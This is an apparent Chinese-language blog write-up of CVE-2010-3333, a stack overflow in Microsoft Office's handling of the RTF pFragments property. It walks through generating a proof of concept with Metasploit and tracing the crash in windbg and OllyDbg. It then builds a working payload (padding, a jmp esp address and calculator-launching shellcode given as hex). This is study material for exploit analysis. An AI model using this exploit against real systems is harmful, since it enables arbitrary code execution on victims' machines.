cve-2010-3333

一、 漏洞描述:漏洞描述:Microsoft Office XP SP3,Office 2003 SP3,Office 2007 SP2,Office 2010等多个版本的Office软件中的Open XML文件格式转换器存在栈溢出漏洞,主要是在处理RTF中的“pFragments”属性时存在栈溢出,导致远程攻击者可以借助特制的RTF数据执行任意代码,因此又称之为“RTF栈缓冲区溢出漏洞”。

二、   分析环境:

  环境
操作系统

Windows xp sp3

调试器 windbg、od
漏洞软件 Microsoft office word
漏洞组件 mso.dll

三、 简单利用过程:

·1 首先在kali上使用msfconsole工具生成漏洞poc

search cve-2010-3333
use 0 //或者
use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
set target 6
run 

 

生成了漏洞poc文件msf.rtf

2.进入winxp打开windbg和word(漏洞软件)。

在windbg中attach一个这个word进程

之后输入g继续运行

将刚才从kali中生成的poc文件复制到winxp中并打开

code c0000005表示有栈溢出

可以看到实在30ed14eb这个指令时出的问题

3.打开od进行动态调试

依旧选择word进程

ctrl+G 搜索这个地址并打断点

按f9继续运行

打开这个poc文件

命令汇编代码

可以看到这个汇编的意思是将ds:[esi]中的内容放到es:[edi]所指的内存当中去

寄存器的状态

可以看到此时的es=0,edi=0x00123dc0。所以es:[edi]所指向的地址就是0x00123dc0;

栈空间:

可以看到这个地址就在栈中,并且离返回地址只有20个字节。

我们继续运行

可以看到此时0x00123dc0这个地址和返回地址已经被覆盖

所以我们可以构造payload

首先要找到一个jmp esp,这里使用0x7344745d

还有就是ret 14h执行之后会将esp+4+14h//要平衡弹出的14h个字节

所以payload="A"*0x14 +jmp_esp_addr+"a"*0x14"+shellcode(弹出计算器)

最后将msf.rtf修改如下

860000000000000000000000000000000000000000005d744473000000000000000000000000000000000000000031c9516863616c6354b8ad23867cffd0b8faca817cffd0

 

最后在word中打开修改过后的 msf文件,弹出计算器

 

 

posted @ 2023-11-08 00:10  robot__i  阅读(73)  评论(0)    收藏  举报